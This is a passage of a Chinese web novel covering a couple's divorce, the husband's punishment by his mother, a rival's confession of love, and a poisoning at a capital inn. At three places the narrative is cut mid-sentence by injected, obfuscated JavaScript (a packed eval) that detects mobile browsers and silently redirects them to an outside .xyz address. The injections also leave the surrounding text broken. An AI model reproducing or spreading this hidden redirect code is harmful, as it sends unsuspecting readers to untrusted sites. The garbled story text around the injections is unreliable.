如今方轻尘跟着明大夫学医,待在柳府的时间极少,每日早出晚归,很少有机会再和柳忆安碰面,秋川白心里终于松了一口气。 秋川白时常后悔当初引狼入室的行为,是他亲手将方轻尘送到了柳忆安身边,成为了两人之间永远的障碍。不过他心里也明白,真正伤透了柳忆安的,是他自己。如今,不管他如何示好,柳忆安始终和他保持着不远不近的距离。 当他想留在柳忆安身边伺候时,她总能找到理由离开。只有旁人在的时候,她才会接受他的关心,仿佛这段关系的意义,仅仅剩下“表演”。 于是,他开始渴望“旁人”的存在,贪恋那种短暂的假象。 每当府中有客,他总会戴上曲氏送的镯子,站在柳忆安身侧,扮演一个合格的夫郎。客人们会笑着赞叹: “秋郎君和柳女君真是琴瑟和鸣,佳偶天成。” 秋川白总是微微一笑,暗自揣测柳忆安的神情。他期待着,看她是不是会因为这句话而有一丝动容,哪怕只是一点点…… 然而,她只是维持着礼貌的笑容,眼底如冰封的湖面般平静。 柳忆安如今已经将自己所有的心思用在了读书上,唯一一件令她分心的事情,就是该如何给母父说明自己和离的事情。 她和秋川白约定的和离日子就要到了,那时她也该启程前往京城去参加春闱,她必须在动身前将这件事情处理妥当。 “临行前,我们需将和离的事情告知双方母父。” 见门外迟迟没有动静,柳忆安微微蹙眉,伸手推开书房的门。门扉轻响间,她的目光落在门外的秋川白身上。 只见秋川白僵立在那里,脸色有些发白,被柳忆安突如其来的话钉在了原地。 “我……你……” 他嘴唇微张,最终只发出了几个模糊的音节,脑中只余下一片空白,不知道如何是好。 这些日子,他一直假装那份和离书从未出现过,两个人会这样一直相处下去。可偏偏柳忆安的一句话,就撕破了他自欺欺人的假象,让他不得不面对现实。 “我们什么时候告诉大家?” 秋川白不自觉咬了咬嘴唇,假装自己十分平静,可颤抖的声音和眼底的彷徨出卖了他不安的内心。 “今晚家宴,我欲将此事告知母亲。待明日,再将秋家主请来府里作见证。”柳忆安说出了自己的打算。 “好,既然你已经决定了,那我都听你的。” 秋川白低声应下,随后便转身离开了。 转过墙角,他再也忍不住眼眶里打转的泪珠,任它们成串掉落在地面。 他还是失去她了。 不过这是他应得的报应,他会承受。 到了晚膳的时候,柳忆安和秋川白两人早早就坐到了厅堂里,无言地等待柳云和曲氏入座。 “让你们久等了,今日发生了什么事情吗,为什么你们二人表情如此凝重?”柳云刚坐下,便觉察到厅堂中的气氛有些诡异。 “母亲,女儿愧对您的教诲。”柳忆安缓缓起身,随后屈膝跪下。 秋川白见状也跪到了她身侧,低下头,等待柳忆安宣布和离的事情。 “忆安,川白,你们这是何意?”曲氏大惊。 “母亲,父亲,我和川白,决定和离了,已经签下了和离书。” 闻言,柳云的脸色顿时沉了下来。 “到底怎么回事?为何突然和离?你给我一个理由。” “母亲,是女儿同秋郎性情不合,思考再三后才做下此决定。女儿甚至愧对母亲和父亲的期待,无颜面对母亲父亲。”说罢,柳忆安额头朝地上沉沉一扣。 “川白,是这样吗?还是忆安做了什么对不住你的事情,你不必为她掩饰,我们替你做主。”柳云不相信她们和离的理由,觉得一定有什么内情。 “回母亲,就是妻主说的那般,若说有什么错,都是川白做得不好。”秋川白也沉下了额头,“和离是我们二人共同的决定,还望母亲原谅晚辈的任性。” “可是你们妻夫二人感情不是一直很好吗?怎么突然说性情不合,何来的性情不合,你们把我当做傻子吗?”柳云见二人都不愿说出实话,怒意逐渐升起。 “不敢欺瞒母亲,确实是我们二人性情不合。”柳忆安坚定地说道。 她知道母亲不会轻易相信这个理由,可她已不愿将过往种种揭露于众人面前,况且深究下来,她同秋川白确实算是性情不合,这个理由也不算骗人。 曲氏见柳云面色沉重,赶紧为女儿打起圆场。 “妻主切莫生气,既然这两人都说是性情不合,想来不会有别的缘故。如今和离书都签下了,我们再说什么也迟了。” 曲氏轻轻拍打着柳云的后背,让她不要生气。 柳云无奈地看向曲氏,眼里尽是无可奈何。 “你扶我回卧房吧,我是吃不下饭了。”柳云摇了摇头,不想再看见跪地的二人。 “好,我扶妻主回卧房。” 临走前,曲氏转过头叮嘱道:“你们二人别跪着了,既然已经和离了,就好好准备之后的事情。” 曲氏陪着柳云回到卧房,为她端来一杯茶水。 “妻主,身子要紧,别气到自己。” “这二人将婚姻当成什么了,这才成婚多久,竟然以性情不合为由和离。”柳云将茶杯重重地放到了桌子上,“别人成亲至少五六年才好说出‘性情不合’这个理由,她们在闹什么?” “妻主,若真是性情不合,她们这时和离也不算坏事。”曲氏安慰道,“忆安马上要参加春闱,若是考中了再和离,岂不是落下个抛弃糟糠之夫的名声。如今二人也没有孩子,和离就和离吧。” “唉,”柳云长叹一声,“夫郎说得是,若是考中后再和离,旁人指不定要说些什么。” “妻主不气了就好,如今最重要的是春闱,其它事情就先放到一旁吧。” 柳云点点头,随即吩咐道:“这两日我们就将这事同秋家说了,在忆安出发前尽量将此事做个了结。” “是,全听妻主的。”曲氏恭敬地应下。 翌日,接到柳府消息的秋思雨带着秦氏匆匆来到了柳府。 “母亲,父亲,孩儿已同柳女君和离,还望母亲父亲原谅。”秋川白跪在地上,抢在秋思雨开口说话前道歉。 秋思雨冷冷地看着秋川白,她早就知道自己的儿子不愿意嫁到柳府,觉得和离应该是秋川白自己一手策划。之前秋川白为了柳忆安的事情跑来跑去,她以为自己的儿子已经安分下来,准备同柳忆安好好过日子,没想到两个人突然间和离了。 “你又在耍什么花招?”秋思雨眯起眼睛,想从秋川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930582|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的脸上看出点什么。 “岳母,岳父,是我和秋郎二人性情不合,觉得与其勉强相处,不如早些分开,还望岳母大人原谅。”柳忆安替秋川白开脱道。 “好孩子,是不是川白做了什么事情让你生气了,我替他向你道歉,你再给他一次机会吧。” 见柳忆安替自己儿子开口,秋思雨觉得事情还有转机,便拉住了柳忆安的手央求。 “秋郎没有做错什么,只是我们二人实在不合适,想来是命中没有妻夫的缘分,秋郎将来一定能寻到更好的归宿。” 秋思雨顾忌柳忆安的身份,见她这么说,也不好反驳什么,转头对着秋川白吩咐道:“既如此,你收拾东西,同我回家吧。” “是,孩儿这就去。” 回卧房的路上,秋川白让华来去医馆将方轻尘叫回来,毕竟他是自己表弟,他回到秋府,方轻尘也没有住在这里的理由了。 厅堂里,曲氏拉着秦氏的手,“贤弟,就算孩子们和离了,也不影响你我两家的关系,我们还是朋友,你有什么需要帮忙的,尽管找我开口便是。” “贤兄说得是,孩子们就算和离了,也不影响我们的关系。”秦氏知道自己的妻主还想和柳府搞好关系,便笑着应和道,“秋家与柳家一向交好,这一点并不会因小辈的婚事而改变。” 柳忆安安静地坐在一旁,看着几个长辈努力寻找体面话来掩盖这段不堪的婚事。大家都清楚,这场婚事的骤变只会让两人家从此更加疏远。 几个人正说着,方轻尘回来了。 “家主,主夫,姑姑,姑父,”方轻尘向在座的长辈挨个问好,“轻尘来迟了,望各位长辈见谅。” “无妨,你回来了就快去收拾行李吧,等会随我们一起回秋府。”秦氏打量着方轻尘,思索着秋川白突然和离同他有没有干系。 方轻尘没有应下,而是突然跪了下来,缓缓伏下身子。额头触地的瞬间,黑色的发丝滑落到头侧,遮住了他的侧脸。 “轻尘既已入了柳府的户籍,便是柳府的下人,轻尘想留在柳府报答姑娘的恩情,还望姑姑成全。” 方轻尘的话刚说完,就听见身后的大门传来声响,来人是秋川白。 “表弟什么意思?表弟是不愿意随我回秋府吗?”秋川白一步步走进,语气冰冷。 “轻尘感谢表兄当日挺身而出,只是如今轻尘早已下定决心,此生要跟在柳姑娘身边,还望表兄理解。” 秋川白揪住了方轻尘的领子,将他从地上拽起来。 “那是我的妻主,你凭什么跟在她身边。” “如今不是了。” “啪”的一声传来,秋川白一巴掌扇到了方轻尘脸上。 方轻尘侧过脸,白皙的皮肤迅速浮现出一片红痕。他没有反抗,也没有躲闪。 “若表兄生气,便再多打几下吧。”方轻尘缓缓开口。 在场的众人被这突然的变故吓了一跳,柳忆安赶紧拦在两人中间。 “你们在闹什么?”柳忆安厉色道。 “你早就打算好了,是不是?”秋川白的嗓音发紧,看向方轻尘的眼中带有怒意,“你是不是一直在等这个机会?” 方轻尘摇头,“我从未算计过表兄,也从未想过介入你和柳姑娘之间,更没想过替代表兄的位置。” “你!”秋川白本想继续质问,可就在他即将开口的瞬间,像是突然意识到了什么,嘴角勾起一抹讥讽的笑意,“你是想留下来,却不知道柳府愿不愿意留你。” 说完,在场所有人看向了柳忆安,等待着柳忆安的答案。 31. 不再嫁人 柳忆安本想拒绝,她想让方轻尘跟着秋川白一起回秋府,从此以后自己和秋府不会再有什么瓜葛。 可拒绝的话还未来得及说出口,她瞥见方轻尘看向她的眼神中带着一丝希冀。 采薇的话突然浮现在她脑海中。 “当时他不顾危险,头一个下山寻你……” “是方公子主动要求用绳子将他从山上吊到山脚。” “是他最先在山下找到你的,也是他一直在山洞里陪你等待救援。” 最后,柳忆安终究是不忍心说出让方轻尘回秋家的话,她轻轻地点了一下头,表示方轻尘留下来。 “你愿意让他留下?”秋川白震惊地睁大了眼睛,“你愿意留下他,你为什么不能……” 秋川白话说到一半,想起柳秋两家的长辈都还在,将剩下半句话硬生生咽了下去。 “既然如此,你便留在柳府吧。”秋思雨对此事下了定论,柳府留下了方轻尘让她感到欣慰,这也算是和柳府攀上了姻亲,“柳家主,我们就不多打扰了,告辞。” 说完,她拉走了怔在原地的秋川白。 “还愣在这干嘛,赶紧跟我回家。” 临走前,秋川白死死盯着方轻尘,牙关紧咬,直到嘴唇被咬破,渗出的血迹染红了他的嘴唇。 方轻尘将秋川白眼里的怨瞧得真切。 秋思雨见秋川白神色不对,连拖带拽地将他带上了马车,生怕再惹出什么事端。 “没想到你还挺有手段的,”秋思雨一上马车,便对着秋川白一声冷笑,眼里带着对他的审视,“你装模作样把我和你父亲都骗了过去,想必你等今日等了很久吧。” 刚刚在柳府,她一眼就瞧见柳忆安手中的和离书边缘已经有些泛黄,明显已经有些时日了。 “你跟我说实话,你是不是根本没有和柳忆安行过房?” 秋川白心不在焉,根本没听见秋思雨在问些什么,只闷闷地盯着窗外,还是秦氏推了他一把,他才有了些反应。 “什么?” 秋思雨本来心情就不好,见秋川白如此敷衍自己,也不再有和他好好说话的耐心,直接上手将他的衣领扯开。 一颗红色的梅花绽放在秋川白苍白的锁骨上,那是他的守贞砂,昭示着他的完璧之身。 “秦安,看看你养出来的好儿子,把一群人耍得团团转。”秋思雨的嘴角露出讥讽的笑容,“不过木已成舟,我们也不能拿你怎么样,算你赢了。” 秋川白被母亲突如其来的举动吓得不知所措,他紧紧抓住了被扯开的衣领,下意识地往后躲闪,不敢直视秋思雨的目光。 “妻主,有什么事我们回府再说,别在马车里闹出太大动静,若是被旁人听了去还了得。” 秦氏见儿子魂不守舍的模样,心里终究是不忍,出面打起圆场。 秋思雨觉得秦氏说得有理,也不再出言责问,只是用着冰冷的目光来回地打量秋川白。 一行人刚进秋府的大门,秋思雨就命令下人将大门锁了起来,她不允许家丑传出门去。 “跪下!” 刚踏入前厅,秋思雨便厉声怒斥,她不容抗拒的声音在宽阔的厅堂中回荡。 秋川白面无表情地屈膝跪下,整个人仿佛淹没在一种隐秘的绝望之中。 看着秋川白一副死气沉沉的模样,秋思雨怒不打一处来,她生气地将茶杯猛地掷向地面,茶杯碎片混合着茶水洒在秋川白身上。 “你这幅样子是做给谁看的?如今你目的也达到了,我们说你两句还不成吗?” “孩儿不敢同母亲置气,还请母亲责罚。”秋川白低下头,语气低沉。 “罢了,好在你还是完璧之身,我也不再逼你了,这次你想嫁给谁便嫁给谁吧。” 本以为给儿子找到了一个好归处,结果却闹出一场天大的笑话,秋思雨心里深感无奈。 闻言,秋川白脸色变得煞白,回应道:“回母亲,孩儿既已嫁了人,此生绝不再嫁二女,还望母亲允许孩儿一辈子陪伴母亲。” “你说什么?”秋思雨本以为秋川白有别的心上人,压根没想到他的答案竟是这样,一瞬间还以为是自己听错了,“什么叫不再嫁二女?” “母亲,孩儿已经嫁给了柳女君,便一辈子都是柳女君的人。”秋川白将心里话说了出来。 “你疯了?你闹这么大一出戏,就为了回家为柳忆安守身?”秋思雨瞪大了眼睛,不敢置信地瞧着秋川白,以为秋川白在哄骗自己,想从他脸上看出些端倪,却见他一脸认真地补充道。 “孩儿此生只有柳忆安一个妻主,绝不会再嫁与旁人。” “秦安!”秋思雨怒极,“这就是你养出的好儿子!活脱脱一个蠢物!” 只见她愤怒地在大厅里踱步,怒吼道:“秋川白!你到底是怎么想的!你是不是故意和我唱反调,你就是想气死我!” “秦安,你整日都教了些什么,养出个如此愚不可及的玩意!” 秋思雨越骂越气,忍不住抬起脚朝着秋川白踹了下去,将他踹倒在茶杯的碎片上,殷红的血迹顺着他的胳膊流了出来。 秦氏见状,心疼地将儿子扶起,不满道:“你这是干什么,有什么事同儿子好好说便是,何必动手动脚。” “我没好好和他说吗?你自己看他干的什么事,说出去不怕别人笑掉大牙。”秋思雨本想继续怒斥,忽然间瞥见儿子手上血迹斑斑,语气放缓了些,“让他嫁过去的时候他不愿意,自己闹到和离后,又在这摆出一副深情模样,这又是做给谁看呢?” “川白,你同我好好讲一下,你为何要与柳女君和离,既然和离了,又为何说此生不嫁给她人。”秦氏虽然心疼儿子,但也觉得儿子此番举动实在令人费解。 “孩儿无话可说,请母亲父亲责罚至消气为止。”秋川白恢复了跪姿,不愿多作解释。 “孩子,既然你不愿离开柳女君,为何今日在柳府的时候不明说。若你不愿意离开,我和你母亲肯定是为你说话的呀,一定会想办法让你留在柳府。可你那时为何一言不发,如今覆水难收,回到家才说这些话。”秦氏继续问道,他想知道秋川白到底在想些什么。 秋川白只摇了摇头,没有把内心的答案说出来。 大婚那日,当他要同柳忆安和离时,柳忆安尽管难过,但还是许了他和离书,放了他自由。 如今轮到柳忆安要和离,他又怎么会利用旁人对她施压,让她困在自己身边不得脱身呢? 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935953|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能那么做,尽管他根本不想离开她身边,但他不能…… 如今这一切都是他咎由自取,他愿意自己承受苦果,用下半生的孤独作为对自己的惩罚。 柳忆安那么好,她什么也没做错,让他利用旁人强迫柳忆安留下自己,秋川白做不到。 只是他没想到,柳忆安竟然愿意留下方轻尘。 「凭什么?」 柳忆安明明说过,她不想纳方轻尘进门,如今她大可让方轻尘和自己一起回到秋府,从此便又是一身清白,为何她愿意留下方轻尘。 「方轻尘……为何我救你于水火之间,甚至因此被心爱之人疏远,你却这样报答我……」 「凭什么……」 秋川白咬紧了牙,心中的怨念越来越深。 “母亲,孩儿不再嫁人,但还有别的去处可为家中增益。请母亲听孩儿一言。” 秋川白朝着秋思雨跪拜了下去,声音坚定。 闻言,秋思雨眯起了眼睛,重新打量起了秋川白。 “说来听听吧,若真是能为家门添益,不嫁人倒也无妨。” *** 秋家人走后,柳府恢复了往日的平静。 柳云和曲氏知道柳忆安心情不好,两人决定先不过问,待她考完试再细说此事。 柳忆安向母亲父亲告辞后便动身前往卧房收拾东西,方轻尘默默地跟在她身后。 刚才自己在众人面前表示了心意,求柳忆安留下自己。 他看出来,柳忆安一开始并不想留下自己,纠结一番后,才送了口。 方轻尘不知道是什么让柳忆安改变了主意,但不论如何,自己总归是如愿留下了。 秋川白不可思议且怨恨的眼神还印刻在方轻尘的脑海中,他猜秋川白那一刻恨极了自己,但他必须要为自己搏一次。 上天好不容易眷顾了自己,他不敢浪费这一次机会。 柳忆安听见背后有轻微的脚步声跟着自己,回头一看,是方轻尘一直在自己身边保持着适当的距离。 “方公子,下周我就要动身去京城了。”她想起自己还未同方轻尘说过自己即将出发的事情,便交代道,“这一去,想必又是半年才能回来,你记得照顾好自己。” “半年?”方轻尘不知道参加春闱竟需这么久,“我可以陪姑娘一起去吗?这样一路上我可以照顾姑娘起居。” “多谢轻尘公子好意,”柳忆安露出一个温和的笑容,嘴里却婉言谢绝道,“山高路远,孤女寡男多有不便。而且方公子跟着明大夫学医,机会难得,若是半途而废了,岂不是辜负了我的一番心意?” “忆安姑娘说得对,”学医的机会是柳忆安努力为自己争取到的,他不能让她的付出付之东流,“那姑娘一定要照顾好自己,相信姑娘一定能金榜题名,高中归来。” 柳忆安看着方轻尘关怀的眼神,回忆起自己和方轻尘之间发生的种种往事,终于鼓起勇气,将自己心中的疑惑问了出来。 “轻尘公子,我心中有个疑问,还望公子解答。” “姑娘请讲。” “你待我……究竟是何心意?” 此时,忽然一阵清风拂过,吹乱了柳忆安的发丝,也吹乱了方轻尘的心。 32. 表明心意 突如其来的问题令方轻尘不知所措,他从没掩饰过自己对柳忆安的感情,却也从来没想过对方会如此直白地问出来。 柳忆安是他心间的一轮明月,她的清辉点亮了他原本苦闷无望的人生。他不能失去他的月亮,却也从没妄想过能将月亮拥入怀中。 方轻尘不知道该如何形容自己的这番心情,他局促不安地站在原地,憋了许久才说出那几个字。 “我心悦姑娘。” 话音刚落,方轻尘整张脸就变得通红,他的手指不安地捏住了袖口,等待着柳忆安的回答。 柳忆安得到了方轻尘的答案,轻轻蹙起了眉头。 “心悦我?从何时开始?” 柳忆安心里不解,她和方轻尘的相处不算多,而且第一次见到他时,已经是他的表嫂了,他到底是什么时候喜欢上自己的? 方轻尘不知道该怎么回答这个问题,他第一次动心,是作为替身和她拜堂成亲时,他要告诉柳忆安当时和她拜堂的人是自己吗? 见方轻尘迟迟不回答,柳忆安也不勉强他,转而问出了另一个问题。 “当时我遇险,是公子不顾性命下山救我,当时公子已经对我有情了吗?” 柳忆安认真地盯着方轻尘的眼睛,这个问题是她最好奇的。 方轻尘缓缓地点点头,眼神却不好意思地转到别处,避开了柳忆安的目光。 “这样啊…” 得到了肯定的答案,柳忆安这下终于确定,这回不是自己想多了,方轻尘不顾性命救她,真的是因为喜欢她。 只是她一直把方轻尘看成弟弟,突然确定了对方的心意,柳忆安反而不知道该如何面对他。 所以一直以来,他到底是怎么看待自己的?是表嫂,还是喜欢的人? 似乎是看出了柳忆安的为难,方轻尘开口为自己解释道:“在下虽然心悦姑娘,却从没对姑娘生出过不轨之心。今日将自己的心意说出来,只是不愿欺瞒姑娘罢了。忆安姑娘不必将今日之事放在心上,轻尘知道自己的身份,绝不会有任何僭越之举。” 他对自己的表嫂产生了不该有的情意,方轻尘害怕柳忆安会觉得他恶心,连忙澄清自己之前的种种行为。 “在下只愿姑娘平安顺遂、幸福美满,绝不会因为一己私情而破坏姑娘的生活。”方轻尘观察着柳忆安的神情,生怕从她脸上看出一丝厌恶,“姑娘若是不放心,轻尘愿离开柳府,此后再也不会出现在姑娘面前。” 柳忆安也不知道自己是怎么想的,方轻尘很早之前就开始喜欢自己这件事,确实让她感到十分怪异。 但其实,她并不反感方轻尘。相反,她很欣赏他,她欣赏方轻尘面对苦难时的韧劲和勇气。同时,她也感激对方不止一次地救过自己。 只是两人之前关系实在尴尬,让她不敢面对方轻尘的感情。 至于纳他为侍,原本就是秋川白的安排,自己只当是帮恩人一把。她和秋川白和离时,若非他在旁人面前公然祈求留在柳府,她断不会留下他。 她从一开始就没想过要和方轻尘有什么纠葛。 只是采薇的话掀开了过去的一角,让她不得不重新审视自己和方轻尘的关系。 因此,面对方轻尘的表白,她现在实在无法给出情感上的回应。但既然对方已经过了门,名义上已经是自己的人了,且他也心悦自己,她愿意对他负责。 “我…”柳忆安迟疑地开口道,“之前,我心悦了秋川白许久。虽然如今已经同他和离,也不再心悦他,但是…也从未想过再喜欢上旁人。” 方轻尘心中一沉,她还是后悔了吗?想要赶自己走了吗? “不过,既然公子已经嫁给了我,我愿意给公子一个庇护之所,”柳忆安语气一转,方轻尘心中又燃起一丝希望,“公子三番两次救我于危难之中,若只能得一个侍的身份,忆安觉得有愧于公子。待春闱结束,我们再正式拜个堂吧,我想给公子一个正室的身份,不知公子可否愿意?” 方轻尘不可置信地看着柳忆安,他觉得自己大概是疯了。 正室的身份? 他可以成为柳忆安的夫郎,正大光明地站在她身边吗? 她前一句话不还在拒绝自己吗? 她说,她不想再喜欢上旁人。 方轻尘的喉咙干涩,明明心中激荡万千,嘴唇却抿得死紧。他知道,她是出于责任而做出了这样的承诺,而非出于情意。 她无需勉强自己。 方轻尘想要拒绝,他不想她因为愧疚而接受自己,可当他对上柳忆安平静的目光,所有的话却都堵在喉间。 “轻尘愿以姑娘夫郎的身份伴随姑娘左右。” 方轻尘听到自己最终是这样回应的。 得到了方轻尘的回答,柳忆安觉得心里的一块石头终于放下了。 她没办法回应方轻尘的感情,但是她可以许他一个体面的身份和顺遂的生活。 “那,待我回来后我们就拜堂。” 敲定了此事后,柳忆安匆匆离开,去收拾行囊了。 而方轻尘却在原地呆立了许久,他怔怔地望着柳忆安离去的方向,未从方才发生的一切里缓过神来。 *** 一周后,柳忆安带着小露小霜,以及母亲为她雇的镖师,踏上了前往京城的途中。 这一路并不算太平,好在镖师经验丰富,带着她们平安到达京城。 京城里,冬日的萧瑟还未完全褪去,风还带着刺骨的寒意,幸好柳忆安带了几件厚冬衣,才不至于被冻得难受。 她身上披着一件海棠红的斗篷,衬得她宛如一朵盛开在冬日寒风里的梅花。斗篷的边缘滚着一圈银灰色的貂毛,刚好在脖颈处围成一圈,既挡住了风寒,又不显臃肿。 斗篷材质虽不贵重,但针脚十分细密,足以见得缝制时的用心。斗篷上面隐隐露着祥云绣样,针线的光泽随着柳忆安的走动而流转。一枚鎏金祥云扣系在前襟,与斗篷上的祥云纹样相得益彰。 小露将斗篷从行囊中翻出来时,柳忆安以为这是父亲为她置办的新衣服。 “这件斗篷好特别,父亲真是有心了,我还不知道京城这般寒冷,幸好有父亲为我准备。” 柳忆安拢了拢斗篷,感慨父亲果然英明,给自己带了这样一件防寒的披风。 “可是小姐,这衣服是方公子准备的。”小露迟疑地解释道。 “他准备的吗?”柳忆安有些意外,她不知方轻尘为她收拾了行囊。 “是呀小姐,临行前,方公子检查了行囊,把这件披风放了进来,好像这件披风是他连夜赶制出来的。” 听完小露的话,柳忆安脑海中不自觉地浮现出方轻尘在深夜不眠不休缝制披风的模样。 她知道方轻尘每日天不亮他就要赶到医馆,医馆关门后还需学到亥时才能回府。本就没什么休息的时间,不知道他是怎么在这么短的时间内赶制出如此精致的披风。 “方公子还放了一些寻常疾患的备药在包裹里,小姐你瞧。” 小露翻出一包被包得很严实的药材,柳忆安接过来,看到上面详细地写了对应的症状及用药的注意。 小露原本对方轻尘没什么好印象,因为他入府的事情,小姐和秋少主从此有了隔阂,甚至没过多久就和离了。 更别提和离后秋川白回了秋府,方轻尘却留了下来,更显得他图谋不轨。 身为小侍,挑拨少主和少夫的关系,害得二人和离,当真算是祸害。 因此,小露很长一段时间都不正眼搭理方轻尘,和他说起话来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946322|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是尖酸刻薄。 方轻尘却从不在意,对她还是一如既往地以礼相待。 渐渐地,小露发现方轻尘暗地里为小姐做了很多事,不仅从没邀过功,甚至有意地隐藏自己的付出,不让小姐发现。 小露这才对他有所改观,觉得小姐和离的事情似乎和他关系不大。 直到临行前,她听到小姐对家主说待春闱结束,要抬方轻尘为正夫,她才完全放下了对方轻尘的芥蒂。 毕竟小姐的喜好才是最重要的,既然小姐喜欢方轻尘,她当然也要接纳他。 小露只希望方轻尘不要像秋川白一样惹小姐伤心。 她的小姐,有什么不高兴的事情从来都是自己一个人默默承受,不让身边人知晓。秋川白替小姐纳侍那天,小露第一次见小姐哭得那么伤心。 如今小姐也算从这段伤心事里走出来了,小露心里暗暗松了口气。 她的小姐,一定得开心幸福啊。 “柳少主,这里就是我们要下榻的客栈了。”见目的地到了,王镖头打断了几人的对话。 这是京城里颇有年代的一座客栈,客栈外墙因长年的风霜而略显暗沉,但却被打理得十分洁净,门楣的木匾上写着“宝和客栈”四个大字。 “别看这个客栈年代久了,但是离贡院非常近,走个十来分钟就到了。这间客栈可是难订的很,若不是柳家主一年前就让我们订下,我们肯定是抢不到这么好的位置。”王镖头笑呵呵地说道。 “多谢王镖头了。”柳忆安拱手答谢。 “柳少主客气啥,我们都是拿钱办事的,”王镖头不好意思地摸摸头,“主要还是柳家主想得周到。咱们别在门口等着了,快进去吧。” 说罢,王镖头率先进了门,大大咧咧地喊道:“掌柜的!我们住店。” 掌柜确认了几人的定贴,让小二带着一行人到了预约好的套房。 “几位贵客,这便是你们的房间了,热水已经备好了,有什么需要的唤小的便是。”小二恭敬地说道。 “这位伙计,我们有些饿了,准备上一些招牌菜,我们马上下去吃。” 几人昨日为了赶路,几乎没吃什么东西,都已经饿得不行。 如此 “好嘞客官,等饭菜做好了我便来请各位。”收到吩咐后,小二便退下了。 “王镖头,你们先去吃吧,我想先小憩一会儿。”柳忆安感觉十分疲惫,想先睡一觉。 “那等柳少主醒来我们再去吃吧。”说罢,王镖头便准备叫住小二。 柳忆安连忙阻止,“王镖头不必等我,你和小露小霜先用膳,还不知我这一觉睡到何时呢。” 王镖头也不再客气,待柳忆安睡着后,剩下三人便去往大厅用膳。 “几位客官,这都是我们的招牌菜,红焖羊肉、翡翠豆腐、芙蓉蒸蛋,还有我们家最出名的人参乌鸡汤。” “哇,小霜姐姐,我们好久没吃这么好了。”看着满满一桌菜,小露感动极了,只是可惜小姐不在。” “小姐才没小露你这么贪吃呢。”小霜笑着说。 “小霜姐姐,我贪吃都是跟小姐学的。”小露不服。 “好好好,我们快吃吧,别把饭菜放凉了,耽误了你贪吃。” 几人有说有笑,很快把桌上的饭菜一扫而空。 刚放下筷子,小露突然感到腹部一阵绞痛,顿时跪倒在地上。 “小露你怎么了?” 刚问完,小霜也感到一阵剧烈的疼痛,不仅如此,头也越来越晕。 “不好,有毒。” 王镖头意识到不对,用最后的力气跑上楼,叫醒了柳忆安。 “少主,饭菜里有毒,您千万小心。” 说完,便也一头晕了过去。 33. 救人 柳忆安将晕倒的王镖头扶到床上,立刻跑到了大厅,见许多食客都躺在地上痛苦地哀嚎。 掌柜的站在一旁,手忙脚乱地指挥着伙计们将人扶到房间里。 “掌柜的,这究竟是怎么回事?” “女君,一些人突然腹痛难忍,我也不知究竟为何,这…这到底是怎么回事啊?”掌柜的害怕自己的客栈出命案,心里慌得不行。 “所以是饭菜出了问题?”柳忆安抓住了关键。 “大约是这样吧,但还有一些人好好着呢。”掌柜不由得为自己开脱,如果真的是客栈的饭菜出了问题,自己的客栈以后也别想再开下去了。 “已经去请医师了吗?”柳忆安环顾四周,看着店里杂乱的样子,神情越来越凝重。 “去了去了,小二已经在路上了。” 掌柜的额头上已经全是冷汗,见此时有人主动站出来安排,心里顿觉踏实不少。 “小姐…你…你没事…就好。”小霜看见自家小姐完好地站在眼前,才放心地晕了过去。 “水!先用水给大家漱口!店里有豆浆吗?有的话快拿来一些,快!”柳忆安对着掌柜的吩咐道。 “有,有,小二,快,豆浆!把豆浆给这位女君。” 方轻尘刚跟着明大夫学医的时候,每天夜里都会拿着医书诵读,一次柳忆安无意中路过他的院子,看到他这么晚还不休息,便去瞧了他一眼。 那时,他朗读的内容,正是关于如何处理误食毒物的患者。 见柳忆安好奇,方轻尘还为她详细讲解了该如何应对这种情况。柳忆安没想到,这些医理这么快就能派上用场。 小二们按照柳忆安的吩咐,为所有中毒的人漱口。 柳忆安则是在观察这些中毒的人有什么共性。 她突然发现,这些人的桌子上,都有一个样子十分特色的陶罐。 “掌柜的,这个罐子里装的是什么?” “女君,这个罐子是我们的招牌菜人参乌鸡汤,您是说这道菜有问题吗?”掌柜的恭敬地站在柳忆安身侧,为她答疑。 “你把这些桌子上的饭菜保存好,千万不要让别人有机会动手脚,等官府的人来检查。”柳忆安觉得问题的关键就出在这道菜上,但她没办法得知这菜究竟有什么问题。 “是,按女君说得做。” 柳忆安见大部分的人都已经漱完口,继续吩咐道:“等这些中毒人漱完口,便喂她们喝下豆浆,一定要快。” “女君,您确定这可行吗?”掌柜的并不敢完全相信柳忆安,毕竟万一处理不好,麻烦可就更大了。 “如果是中毒,那让她们饮下豆浆可以最大程度缓解毒性,最起码能撑到医师赶来,若是再慢两步,恐怕就很难救回了。” 